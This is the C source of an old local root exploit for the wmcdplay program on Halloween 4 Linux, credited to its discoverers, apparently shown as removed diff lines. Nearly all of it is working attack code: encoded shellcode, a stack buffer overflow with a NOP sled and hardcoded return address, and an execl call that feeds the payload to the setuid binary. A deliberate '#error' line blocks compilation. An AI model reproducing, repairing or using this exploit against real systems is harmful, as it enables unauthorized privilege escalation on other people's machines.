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- /*** Halloween 4 local root exploit for wmcdplay. Other distros are
- *** maybe affected as well.
- *** (C) 2000 by C-skills development. Under the GPL.
- ***
- *** Bugdiscovery + exploit by S. Krahmer & Stealth.
- ***
- *** This exploit was made (possible by|for) the team TESO and CyberPsychotic, the
- *** OpenBSD-freak. :-) Greets to all our friends. You know who you are.
- ***
- ***
- *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
- ***
- *** other advisories and kewl stuff at:
- *** http://www.cs.uni-potsdam.de/homepages/students/linuxer
- ***
- ***/
- #include <stdio.h>
-
- /* The shellcode can't contain '/' as wmcdplay will exit then.
- * So i used Stealth's INCREDIBLE hellkit to generate these code! :-)
- */
- char shell[] =
- "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
- "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
- "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
- "\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
- "\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
- "\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\x91\x91\x91"
- "\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91";
-
- /* filename-buffer plus ret + ebp - defaultpath
- */
- #define buflen (256+8 - 28)
- #error "no kids please"
-
- int main(int argc, char **argv)
- {
- char *wm[] = {
- "/usr/X11R6/bin/wmcdplay",
- "-f",
- "-display", "0:0", /* one might comment this if already running on X; remotely you can
- * give your own server
- */
- 0
- };
-
- char boom[buflen+10];
- int i = 0, j = 0, ret = 0xbffff796; /* this address works for me */
-
- memset(boom, 0, sizeof(boom));
- memset(boom, 0x90, buflen);
- if (argc > 1)
- ret += atoi(argv[1]);
- else
- printf("You can also add an offset to the commandline. 40 worked for me on the console.\n");
- for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
- boom[i] = shell[j++];
- *(long*)(&boom[i]) = ret;
-
- printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
- "Respect other users privacy!\n");
-
- execl(wm[0], wm[0], wm[1], boom, wm[2], wm[3], 0);
- return 0;
- }
-